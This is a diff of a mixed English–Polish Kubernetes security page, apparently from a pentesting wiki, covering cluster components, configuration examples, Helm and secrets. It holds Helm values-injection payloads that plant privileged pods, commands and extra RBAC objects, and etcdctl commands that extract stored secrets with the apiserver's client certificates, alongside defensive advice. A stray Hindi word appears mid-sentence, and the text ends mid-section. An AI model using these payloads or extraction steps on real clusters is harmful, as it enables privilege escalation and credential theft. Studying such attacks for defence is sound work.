- **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well.
|
||||
- **Pod**: Wrapper around a container or multiple containers with. Pod powinien zawierać tylko jedną aplikację (więc zwykle pod uruchamia tylko 1 container). Pod to sposób, w jaki kubernetes abstrahuje uruchamianą technologię containerów.
|
||||
- **Service**: Każdy pod ma 1 wewnętrzny **IP address** z wewnętrznego zakresu node. Jednak może też być wystawiony przez service. **Service ma również IP address** i jego celem jest utrzymanie komunikacji między pods, więc jeśli jeden padnie, **nowy replacement** (z innym wewnętrznym IP) **będzie dostępny** wystawiony pod **tym samym IP service**. Można go skonfigurować jako internal lub external. Service działa też jako **load balancer gdy 2 pods są połączone** z tym samym service.\
|
||||
Gdy **service** jest **utworzony**, możesz znaleźć endpoints każdego service, uruchamiając `kubectl get endpoints`
|
||||
- **Kubelet**: Główny node agent. Komponent, który ustanawia komunikację między node i kubectl, i może uruchamiać tylko pods (przez API server). Kubelet nie zarządza containers, które nie zostały utworzone przez Kubernetes.
|
||||
- **Kube-proxy**: to service odpowiedzialny za komunikację (services) między apiserver i node. Bazą jest IPtables dla nodes. Bardziej doświadczeni użytkownicy mogą zainstalować inne kube-proxies od innych vendorów.
|
||||
- **Sidecar container**: Sidecar containers to containers, które powinny działać razem z głównym containerem w pod. Ten wzorzec sidecar rozszerza i wzmacnia funkcjonalność istniejących containers bez ich modyfikowania. Obecnie wiemy, że używamy technologii containerów, aby opakować wszystkie dependencies aplikacji, by mogła działać wszędzie. Container robi tylko jedną rzecz i robi ją bardzo dobrze.
|
||||
- **Master process:**
|
||||
- **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed.
|
||||
- **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod.
|
||||
- **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API.
|
||||
- **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...)
|
||||
- **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack.
|
||||
- **Api Server:** To sposób, w jaki users i pods komunikują się z master process. Dozwolone powinny być tylko authenticated request.
|
||||
- **Scheduler**: Scheduling polega na dopasowaniu Pods do Nodes tak, aby Kubelet mógł je uruchomić. Ma wystarczająco inteligencji, aby zdecydować, który node ma więcej dostępnych resources, i przypisać do niego nowy pod. Zwróć uwagę, że scheduler nie uruchamia nowych pods, tylko komunikuje się z procesem Kubelet działającym wewnątrz node, który uruchomi nowy pod.
|
||||
- **Kube Controller manager**: Sprawdza resources takie jak replica sets lub deployments, aby zobaczyć na przykład, czy działa poprawna liczba pods lub nodes. Jeśli brakuje poda, skomunikuje się z scheduler, aby uruchomić nowy. Kontroluje replication, tokens i account services do API.
|
||||
- **etcd**: Data storage, persistent, consistent i distributed. To baza danych Kubernetes i key-value storage, w którym przechowywany jest pełny stan clusters (każda zmiana jest tu logowana). Komponenty takie jak Scheduler lub Controller manager zależą od tych data, aby wiedzieć, jakie zmiany zaszły (available resourced node, liczba uruchomionych pods...)
|
||||
- **Cloud controller manager**: To specjalny controller dla flow controls i applications, tj. jeśli masz clusters w AWS lub OpenStack.
|
||||
|
||||
Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized.
|
||||
Zauważ, że ponieważ może istnieć wiele nodes (uruchamiających wiele pods), może też istnieć wiele master processes, których dostęp do Api server jest load balanced, a ich etcd zsynchronizowane.
|
||||
|
||||
**Volumes:**
|
||||
|
||||
When a pod creates data that shouldn't be lost when the pod disappear it should be stored in a physical volume. **Kubernetes allow to attach a volume to a pod to persist the data**. The volume can be in the local machine or in a **remote storage**. If you are running pods in different physical nodes you should use a remote storage so all the pods can access it.
|
||||
Gdy pod tworzy data, która nie powinna zostać utracona po zniknięciu poda, powinna być przechowywana w physical volume. **Kubernetes pozwala dołączyć volume do poda, aby zachować data**. Volume może znajdować się na lokalnej maszynie lub w **remote storage**. Jeśli uruchamiasz pods na różnych physical nodes, powinieneś użyć remote storage, aby wszystkie pods mogły mieć do niego dostęp.
|
||||
|
||||
Kubernetes also supports **image volumes** in recent versions. An `image` volume mounts an OCI image or artifact as a **read-only** filesystem source inside the Pod, using fields such as `volumes[].image.reference` and `volumes[].image.pullPolicy`. The kubelet pulls the artifact with the same credential sources used for container images, including node credentials, Pod `imagePullSecrets`, and ServiceAccount `imagePullSecrets`. During a security review, treat image volumes as runtime inputs and supply-chain dependencies: check whether the reference is pinned by digest, which registry credentials can fetch it, where it is mounted, and whether `subPath` limits the visible directory.
|
||||
Kubernetes obsługuje również **image volumes** w nowszych wersjach. `image` volume montuje OCI image lub artifact jako **read-only** źródło filesystem wewnątrz Pod, używając pól takich jak `volumes[].image.reference` i `volumes[].image.pullPolicy`. kubelet pobiera artifact z tymi samymi źródłami credentials, które są używane dla container images, w tym node credentials, Pod `imagePullSecrets` oraz ServiceAccount `imagePullSecrets`. Podczas security review traktuj image volumes jako runtime inputs i supply-chain dependencies: sprawdź, czy reference jest przypięte przez digest, jakie registry credentials mogą je pobrać, gdzie jest montowane oraz czy `subPath` ogranicza widoczny directory.
|
||||
|
||||
**Other configurations:**
|
||||
|
||||
- **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials!
|
||||
- **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials.
|
||||
- **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run.
|
||||
- **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**.
|
||||
- **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application.
|
||||
- If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services.
|
||||
- A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed.
|
||||
- When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter.
|
||||
- **ConfigMap**: Możesz skonfigurować **URLs** do dostępu do services. Pod pobierze stąd data, aby wiedzieć, jak komunikować się z resztą services (pods). Zauważ, że to nie jest zalecane miejsce do przechowywania credentials!
|
||||
- **Secret**: To miejsce do **przechowywania secret data** takich jak passwords, API keys... zakodowanych w B64. Pod będzie mógł uzyskać dostęp do tych data, aby użyć wymaganych credentials.
|
||||
- **Deployments**: To tutaj wskazuje się komponenty, które mają być uruchomione przez kubernetes. Użytkownik zwykle nie pracuje bezpośrednio z pods, pods są abstrahowane w **ReplicaSets** (liczba tych samych pods replikowanych), które są uruchamiane przez deployments. Zauważ, że deployments są dla aplikacji **stateless**. Minimalna konfiguracja deployment to nazwa i image do uruchomienia.
|
||||
- **StatefulSet**: Ten komponent jest przeznaczony specjalnie dla aplikacji takich jak **databases**, które muszą **uzyskiwać dostęp do tego samego storage**.
|
||||
- **Ingress**: To konfiguracja używana do **publicznego wystawienia aplikacji za pomocą URL**. Zauważ, że można to też zrobić za pomocą external services, ale to jest poprawny sposób wystawiania aplikacji.
|
||||
- Jeśli implementujesz Ingress, będziesz musiał utworzyć **Ingress Controllers**. Ingress Controller to **pod**, który będzie endpointem odbierającym requesty, sprawdzającym je i load balancingującym je do services. ingress controller będzie **wysyłał request na podstawie skonfigurowanych ingress rules**. Zauważ, że ingress rules mogą wskazywać na różne paths, a nawet subdomains do różnych wewnętrznych kubernetes services.
|
||||
- Lepszą praktyką security byłoby użycie cloud load balancer lub proxy server jako entrypoint, aby nie wystawiać żadnej części Kubernetes cluster.
|
||||
- Gdy otrzymany zostanie request, który nie pasuje do żadnej ingress rule, ingress controller skieruje go do "**Default backend**". Możesz użyć `describe` na ingress controller, aby uzyskać address tego parametru.
|
||||
- `minikube addons enable ingress`
|
||||
|
||||
### PKI infrastructure - Certificate Authority CA:
|
||||
@@ -107,7 +107,7 @@ $ minikube delete
|
||||
```
|
||||
### Kubectl Basics
|
||||
|
||||
**`Kubectl`** to narzędzie wiersza poleceń dla klastrów kubernetes. Komunikuje się z Api server procesu master, aby wykonywać akcje w kubernetes lub pobierać dane.
|
||||
**`Kubectl`** to narzędzie wiersza poleceń dla klastrów kubernetes. Komunikuje się z serwerem Api procesu master, aby wykonywać akcje w kubernetes lub pobierać dane.
|
||||
```bash
|
||||
kubectl version #Get client and server version
|
||||
kubectl get pod
|
||||
@@ -140,7 +140,7 @@ kubectl apply -f deployment.yml
|
||||
```
|
||||
### Minikube Dashboard
|
||||
|
||||
Dashboard pozwala łatwiej zobaczyć, co działa w minikube, URL do dostępu znajdziesz w:
|
||||
Dashboard pozwala łatwiej zobaczyć, co działa w minikube, URL do dostępu do niego znajdziesz w:
|
||||
```
|
||||
minikube dashboard --url
|
||||
|
||||
@@ -156,11 +156,11 @@ http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kube
|
||||
### YAML configuration files examples
|
||||
|
||||
Każdy plik konfiguracji ma 3 części: **metadata**, **specification** (co trzeba uruchomić), **status** (desired state).\
|
||||
Wewnątrz specification pliku konfiguracji deployment możesz znaleźć template zdefiniowany z nową strukturą konfiguracji określającą image do uruchomienia:
|
||||
Wewnątrz specification pliku konfiguracji deployment możesz znaleźć template zdefiniowany z nową strukturą konfiguracji, która definiuje image do uruchomienia:
|
||||
|
||||
**Example of Deployment + Service zadeklarowanych w tym samym pliku konfiguracji (z** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
|
||||
**Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
|
||||
|
||||
Ponieważ service zwykle jest powiązany z jednym deployment, możliwe jest zadeklarowanie obu w tym samym pliku konfiguracji (service zadeklarowany w tym config jest dostępny tylko wewnętrznie):
|
||||
Ponieważ service zwykle jest powiązany z jednym deployment, możliwe jest zadeklarowanie obu w tym samym pliku konfiguracji (service zadeklarowany w tej config jest dostępny tylko wewnętrznie):
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
@@ -207,9 +207,9 @@ ports:
|
||||
port: 27017
|
||||
targetPort: 27017
|
||||
```
|
||||
**Przykład zewnętrznej konfiguracji service**
|
||||
**Przykład konfiguracji usługi zewnętrznej**
|
||||
|
||||
Ten service będzie dostępny zewnętrznie (sprawdź atrybuty `nodePort` i `type: LoadBlancer`):
|
||||
Ta usługa będzie dostępna z zewnątrz (sprawdź atrybuty `nodePort` i `type: LoadBlancer`):
|
||||
```yaml
|
||||
---
|
||||
apiVersion: v1
|
||||
@@ -227,7 +227,7 @@ targetPort: 8081
|
||||
nodePort: 30000
|
||||
```
|
||||
> [!NOTE]
|
||||
> To jest przydatne do testów, ale w produkcji powinieneś mieć tylko wewnętrzne usługi i Ingress, aby wystawić aplikację.
|
||||
> To jest przydatne do testów, ale w produkcji powinieneś mieć tylko wewnętrzne usługi i Ingress do wystawienia aplikacji.
|
||||
|
||||
**Przykład pliku konfiguracyjnego Ingress**
|
||||
|
||||
@@ -249,7 +249,7 @@ servicePort: 80
|
||||
```
|
||||
**Przykład pliku konfiguracyjnego secrets**
|
||||
|
||||
Zwróć uwagę, że hasła są zakodowane w B64 (co nie jest bezpieczne!)
|
||||
Zauważ, że hasła są zakodowane w B64 (co nie jest bezpieczne!)
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -262,7 +262,7 @@ mongo-root-password: cGFzc3dvcmQ=
|
||||
```
|
||||
**Przykład ConfigMap**
|
||||
|
||||
**ConfigMap** to konfiguracja przekazywana do podów, aby wiedziały, jak zlokalizować i uzyskać dostęp do innych usług. W tym przypadku każdy pod będzie wiedział, że nazwa `mongodb-service` to adres poda, z którym może się komunikować (ten pod będzie uruchamiał mongodb):
|
||||
**ConfigMap** to konfiguracja przekazywana do podów, aby wiedziały, jak znaleźć i uzyskać dostęp do innych usług. W tym przypadku każdy pod będzie wiedział, że nazwa `mongodb-service` jest adresem poda, z którym może się komunikować (ten pod będzie uruchamiał mongodb):
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
@@ -271,7 +271,7 @@ name: mongodb-configmap
|
||||
data:
|
||||
database_url: mongodb-service
|
||||
```
|
||||
Następnie, wewnątrz **deployment config** ten adres można określić w następujący sposób, aby został załadowany do env poda:
|
||||
Następnie, wewnątrz **deployment config** ten adres może być określony w następujący sposób, aby został załadowany do env poda:
|
||||
```yaml
|
||||
[...]
|
||||
spec:
|
||||
@@ -292,18 +292,18 @@ name: mongodb-configmap
|
||||
key: database_url
|
||||
[...]
|
||||
```
|
||||
**Przykład konfiguracji volume**
|
||||
**Przykład config volume**
|
||||
|
||||
Możesz znaleźć różne przykłady plików yaml konfiguracji storage w [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
|
||||
**Zwróć uwagę, że volumes nie są wewnątrz namespaces**
|
||||
Możesz znaleźć różne przykłady yaml files konfiguracji storage w [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
|
||||
**Pamiętaj, że volumes nie znajdują się inside namespaces**
|
||||
|
||||
### Namespaces
|
||||
|
||||
Kubernetes wspiera **wiele wirtualnych klastrów** opartych na tym samym fizycznym cluster. Te wirtualne klastry nazywane są **namespaces**. Są one przeznaczone do użycia w środowiskach z wieloma użytkownikami pracującymi w wielu zespołach lub projektach. W przypadku cluster z kilkoma do kilkudziesięciu użytkowników nie powinieneś w ogóle potrzebować tworzyć ani nawet myśleć o namespaces. Zacznij używać namespaces dopiero wtedy, gdy chcesz lepiej kontrolować i organizować każdą część application wdrożonej w kubernetes.
|
||||
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. Te virtual clusters są nazywane **namespaces**. Są one przeznaczone do użycia w środowiskach z wieloma userami rozproszonymi między wieloma teamami lub projectami. Dla clusterów z kilkoma do kilkudziesięciu userami nie powinieneś w ogóle potrzebować tworzyć ani rozważać namespaces. Powinieneś zacząć używać namespaces dopiero po to, aby mieć lepszą kontrolę i organizację każdej części aplikacji deployed in kubernetes.
|
||||
|
||||
Namespaces zapewniają zakres dla nazw. Nazwy resources muszą być unikalne w obrębie jednego namespace, ale nie muszą być unikalne między namespaces. Namespaces nie mogą być zagnieżdżane jeden w drugim, a **każdy** Kubernetes **resource** może znajdować się tylko w **jednym** **namespace**.
|
||||
Namespaces provide a scope for names. Names of resources need to be unique within a namespace, but not across namespaces. Namespaces cannot be nested inside one another and **each** Kubernetes **resource** can only be **in** **one** **namespace**.
|
||||
|
||||
Domyślnie są 4 namespaces, jeśli używasz minikube:
|
||||
There are 4 namespaces by default if you are using minikube:
|
||||
```
|
||||
kubectl get namespace
|
||||
NAME STATUS AGE
|
||||
@@ -312,16 +312,16 @@ kube-node-lease Active 1d
|
||||
kube-public Active 1d
|
||||
kube-system Active 1d
|
||||
```
|
||||
- **kube-system**: Nie jest przeznaczona do użycia przez użytkowników i nie powinieneś jej ruszać. Jest dla procesów master i kubectl.
|
||||
- **kube-public**: Publicznie dostępne dane. Zawiera configmap, który zawiera informacje o klastrze
|
||||
- **kube-system**: Nie jest przeznaczony do użycia przez użytkowników i nie powinieneś go dotykać. Jest dla procesów master i kubectl.
|
||||
- **kube-public**: Publicznie dostępne dane. Zawiera configmap, który zawiera informacje o cluster
|
||||
- **kube-node-lease**: Określa dostępność node
|
||||
- **default**: Namespace, którego użytkownik będzie używać do tworzenia zasobów
|
||||
- **default**: namespace, którego użytkownik użyje do tworzenia resources
|
||||
```bash
|
||||
#Create namespace
|
||||
kubectl create namespace my-namespace
|
||||
```
|
||||
> [!NOTE]
|
||||
> Zauważ, że większość zasobów Kubernetes (np. pods, services, replication controllers i innych) znajduje się w jakichś namespaces. Jednak inne zasoby, takie jak namespace resources i zasoby niskiego poziomu, takie jak nodes oraz persistenVolumes, nie znajdują się w namespace. Aby zobaczyć, które zasoby Kubernetes są i nie są w namespace:
|
||||
> Pamiętaj, że większość zasobów Kubernetes (np. pods, services, replication controllers i inne) znajduje się w jakichś namespaces. Jednak inne zasoby, takie jak namespace resources i zasoby niskopoziomowe, takie jak nodes i persistenVolumes, nie znajdują się w namespace. Aby sprawdzić, które zasoby Kubernetes są, a które nie są w namespace:
|
||||
>
|
||||
> ```bash
|
||||
> kubectl api-resources --namespaced=true #In a namespace
|
||||
@@ -334,17 +334,78 @@ kubectl config set-context --current --namespace=<insert-namespace-name-here>
|
||||
```
|
||||
### Helm
|
||||
|
||||
Helm to **package manager** dla Kubernetes. Umożliwia pakowanie plików YAML i dystrybuowanie ich w publicznych i prywatnych repository. Te pakiety nazywane są **Helm Charts**.
|
||||
Helm jest **menedżerem pakietów** dla Kubernetes. Umożliwia pakowanie plików YAML i dystrybuowanie ich w publicznych i prywatnych repozytoriach. Te pakiety nazywane są **Helm Charts**.
|
||||
```
|
||||
helm search <keyword>
|
||||
```
|
||||
Helm is also a template engine that allows to generate config files with variables:
|
||||
Helm to także silnik szablonów, który pozwala generować pliki config z variables:
|
||||
|
||||
### Helm `.Values` YAML injection
|
||||
|
||||
Jeśli chart wstawia **kontrolowane przez attacker-a values** bezpośrednio do YAML, Helm **wyrenderuje je jako surową zawartość YAML**, chyba że template jawnie je cytuje, konwertuje lub validates them. Jest to szczególnie dangerous w środowiskach **GitOps** (na przykład z **ArgoCD**), gdzie developers mogą tylko modyfikować `values.yaml`, a zakłada się, że chart jest trusted.
|
||||
|
||||
**Typical vulnerable patterns:**
|
||||
```yaml
|
||||
spec:
|
||||
replicas: {{ .Values.replicaCount }}
|
||||
...
|
||||
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
|
||||
```
|
||||
Jeśli atakujący może kontrolować te wartości, może nadużyć wieloliniowych skalarów YAML (`|` lub `|-`), aby **przełamać oczekiwany kontekst**, wstrzyknąć **nowe pola** na właściwym poziomie wcięcia, a nawet wstrzyknąć **nowe dokumenty YAML** za pomocą `---`.
|
||||
|
||||
### Pomysły na exploitation
|
||||
|
||||
- **Field injection** z wartości wyglądających jak scalar:
|
||||
```yaml
|
||||
replicaCount: |
|
||||
3
|
||||
injectedAttribute: true
|
||||
```
|
||||
To może przekształcić pole wyglądające na numeryczne w dodatkowe atrybuty manifestu.
|
||||
|
||||
- **Quoted-context breakout** do wstrzyknięcia atrybutów kontenera takich jak `command`, `args` lub `securityContext`:
|
||||
```yaml
|
||||
image:
|
||||
tag: |-
|
||||
1.0.0"
|
||||
securityContext:
|
||||
privileged: true
|
||||
command: ["/bin/sh", "-c"]
|
||||
args: ["id"]
|
||||
```
|
||||
- **Arbitrary object injection** przez tworzenie dodatkowych dokumentów YAML z `---`, co może tworzyć zasoby takie jak `Namespace`, `Pod`, `Role`, `ClusterRole`, `RoleBinding` lub `ClusterRoleBinding`, jeśli konto serwisowe Helm/ArgoCD ma अनुमति na ich tworzenie. To bezpośrednio łączy się z [RBAC abuse](kubernetes-role-based-access-control-rbac.md), [abusing dangerous roles](abusing-roles-clusterroles-in-kubernetes/), oraz [namespace pivoting](kubernetes-namespace-escalation.md).
|
||||
|
||||
> [!WARNING]
|
||||
> Kontrola nad `values.yaml` w podatnym chart może prowadzić do **arbitrary workload creation**, **command execution inside Pods**, **privileged Pod deployment**, a czasem do **cluster compromise**.
|
||||
|
||||
### Helm v3 vs Helm v4
|
||||
|
||||
- **Helm v3** może akceptować wstrzyknięte nieznane pola, o ile końcowy wyrenderowany output jest poprawnym YAML.
|
||||
- **Helm v4** domyślnie używa **Server-Side Apply** i odrzuca kilka nieprawidłowych pól względem schematu Kubernetes.
|
||||
- Jednak **Helm v4 nie rozwiązuje problemu całkowicie**: attacker nadal może wstrzyknąć **najpierw poprawne zasoby** i dodać na końcu nieprawidłowy object, aby pochłonąć uszkodzony context, więc wcześniej wstrzyknięte poprawne zasoby nadal są tworzone.
|
||||
|
||||
### Defensive patterns
|
||||
|
||||
Traktuj każdą wartość Helm jako **untrusted input**:
|
||||
```yaml
|
||||
image: {{ printf "%s:%s" .Values.image.repository .Values.image.tag | quote }}
|
||||
replicas: {{ .Values.replicaCount | int }}
|
||||
{{- if not (regexMatch "^(latest|1\.1|dev)$" .Values.image.tag) }}
|
||||
{{- fail "invalid image.tag" }}
|
||||
{{- end }}
|
||||
```
|
||||
Dodatkowe hardening:
|
||||
|
||||
- Użyj `values.schema.json`, aby wymuszać **typy**, **wymagane klucze** i **wzorce regex** podczas `helm template`, `helm install`, `helm upgrade` oraz `helm lint`.
|
||||
- W **ArgoCD** ogranicz rodzaje obiektów, które aplikacja może tworzyć, za pomocą reguł `AppProject` takich jak `clusterResourceWhitelist`, i preferuj uprawnienia ArgoCD w zakresie **namespace-scoped** zawsze, gdy to możliwe.
|
||||
- Użyj zasad **ValidatingAdmissionPolicy** / **ValidatingAdmissionPolicyBinding**, Kyverno lub Gatekeeper, aby blokować niebezpieczne wyniki, takie jak **privileged Pods**, nawet jeśli rendering został skompromitowany.
|
||||
- Jeśli docelowy namespace jest chroniony przez kontrolki Pod Security, sprawdź, czy atakujący może wstrzyknąć **new namespace**, w którym te kontrolki nie obowiązują, a następnie użyj nowego workload do [pod escape](abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md) lub dalszych [post-compromise attacks from inside a pod](attacking-kubernetes-from-inside-a-pod.md).
|
||||
|
||||
## Kubernetes secrets
|
||||
|
||||
A **Secret** is an object that **contains sensitive data** such as a password, a token or a key. Such information might otherwise be put in a Pod specification or in an image. Users can create Secrets and the system also creates Secrets. The name of a Secret object must be a valid **DNS subdomain name**. Read here [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/).
|
||||
**Secret** to obiekt, który **zawiera wrażliwe dane**, takie jak hasło, token lub klucz. Tego rodzaju informacje mogłyby zostać umieszczone w specyfikacji Pod lub w obrazie. Użytkownicy mogą tworzyć Secrets, a system również tworzy Secrets. Nazwa obiektu Secret musi być poprawną nazwą **DNS subdomain name**. Przeczytaj tutaj [oficjalną dokumentację](https://kubernetes.io/docs/concepts/configuration/secret/).
|
||||
|
||||
Secrets might be things like:
|
||||
Secrets mogą być na przykład:
|
||||
|
||||
- API, SSH Keys.
|
||||
- OAuth tokens.
|
||||
@@ -352,11 +413,11 @@ Secrets might be things like:
|
||||
- Information or comments.
|
||||
- Database connection code, strings… .
|
||||
|
||||
There are different types of secrets in Kubernetes
|
||||
W Kubernetes istnieją różne typy secrets
|
||||
|
||||
| Builtin Type | Usage |
|
||||
| ----------------------------------- | ----------------------------------------- |
|
||||
| **Opaque** | **arbitrary user-defined data (Default)** |
|
||||
| ----------------------------------------- | ----------------------------------------- |
|
||||
| **Opaque** | **arbitrary user-defined data (Default)** |
|
||||
| kubernetes.io/service-account-token | service account token |
|
||||
| kubernetes.io/dockercfg | serialized \~/.dockercfg file |
|
||||
| kubernetes.io/dockerconfigjson | serialized \~/.docker/config.json file |
|
||||
@@ -366,13 +427,13 @@ There are different types of secrets in Kubernetes
|
||||
| bootstrap.kubernetes.io/token | bootstrap token data |
|
||||
|
||||
> [!NOTE]
|
||||
> **The Opaque type is the default one, the typical key-value pair defined by users.**
|
||||
> **Typ Opaque jest domyślny, to typowy para klucz-wartość zdefiniowany przez użytkowników.**
|
||||
|
||||
**How secrets works:**
|
||||
**Jak działają secrets:**
|
||||
|
||||

|
||||
|
||||
The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` \_\_ and \_\_ `SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions.
|
||||
Poniższy plik konfiguracyjny definiuje **secret** o nazwie `mysecret` z 2 parami klucz-wartość `username: YWRtaW4=` oraz `password: MWYyZDFlMmU2N2Rm`. Definiuje też **pod** o nazwie `secretpod`, który będzie miał `username` i `password` zdefiniowane w `mysecret` ujawnione w **environment variables** `SECRET_USERNAME` \_\_ i \_\_ `SECRET_PASSWOR`. Zostanie też **mount** secret `username` znajdujący się w `mysecret` w ścieżce `/etc/foo/my-group/my-username` z uprawnieniami `0640`.
|
||||
```yaml:secretpod.yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -424,17 +485,17 @@ env | grep SECRET && cat /etc/foo/my-group/my-username && echo
|
||||
```
|
||||
### Sekrety w etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
|
||||
|
||||
**etcd** to spójny i wysoko dostępny **key-value store** używany jako backing store Kubernetes dla wszystkich danych klastra. Spróbujmy uzyskać dostęp do secrets przechowywanych w etcd:
|
||||
**etcd** to spójny i wysoce dostępny **key-value store** używany jako backing store Kubernetes dla wszystkich danych klastra. Uzyskajmy dostęp do sekretów przechowywanych w etcd:
|
||||
```bash
|
||||
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
|
||||
```
|
||||
Zobaczysz certs, keys i url’s znajdujące się w FS. Gdy je zdobędziesz, będziesz mógł połączyć się z etcd.
|
||||
Zobaczysz certy, klucze i URL-e, gdzie są zlokalizowane w FS. Gdy je zdobędziesz, będziesz mógł połączyć się z etcd.
|
||||
```bash
|
||||
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health
|
||||
|
||||
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health
|
||||
```
|
||||
Gdy uda ci się nawiązać komunikację, będziesz mógł uzyskać sekrety:
|
||||
Gdy już uda ci się nawiązać komunikację, będziesz mógł uzyskać secrets:
|
||||
```bash
|
||||
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] get <path/to/secret>
|
||||
|
||||
@@ -442,7 +503,7 @@ ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key
|
||||
```
|
||||
**Dodawanie encryption do ETCD**
|
||||
|
||||
Domyślnie wszystkie secrets są **przechowywane w plain** tekście wewnątrz etcd, chyba że zastosujesz warstwę encryption. Poniższy przykład opiera się na [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
|
||||
Domyślnie wszystkie secrets są **przechowywane w postaci plain** text inside etcd, chyba że zastosujesz encryption layer. Poniższy przykład jest oparty na [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
|
||||
```yaml:encryption.yaml
|
||||
apiVersion: apiserver.config.k8s.io/v1
|
||||
kind: EncryptionConfiguration
|
||||
@@ -456,7 +517,7 @@ keys:
|
||||
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
|
||||
- identity: {}
|
||||
```
|
||||
Następnie musisz ustawić flagę `--encryption-provider-config` na `kube-apiserver`, aby wskazywała lokalizację utworzonego pliku konfiguracyjnego. Możesz zmodyfikować `/etc/kubernetes/manifest/kube-apiserver.yaml` i dodać następujące linie:
|
||||
Po tym musisz ustawić flagę `--encryption-provider-config` w `kube-apiserver`, aby wskazywała lokalizację utworzonego pliku konfiguracyjnego. Możesz zmodyfikować `/etc/kubernetes/manifest/kube-apiserver.yaml` i dodać następujące linie:
|
||||
```yaml
|
||||
containers:
|
||||
- command:
|
||||
@@ -469,16 +530,16 @@ Przewiń w dół w volumeMounts:
|
||||
name: etcd
|
||||
readOnly: true
|
||||
```
|
||||
Przewiń w dół w `volumeMounts` do `hostPath`:
|
||||
Przewiń w dół w volumeMounts do hostPath:
|
||||
```yaml
|
||||
- hostPath:
|
||||
path: /etc/kubernetes/etcd
|
||||
type: DirectoryOrCreate
|
||||
name: etcd
|
||||
```
|
||||
**Sprawdzanie, czy dane są zaszyfrowane**
|
||||
**Weryfikacja, że data jest zaszyfrowana**
|
||||
|
||||
Dane są szyfrowane podczas zapisu do etcd. Po ponownym uruchomieniu `kube-apiserver`, każdy nowo utworzony lub zaktualizowany secret powinien być zaszyfrowany podczas przechowywania. Aby to sprawdzić, możesz użyć programu wiersza poleceń `etcdctl`, aby pobrać zawartość swojego secret.
|
||||
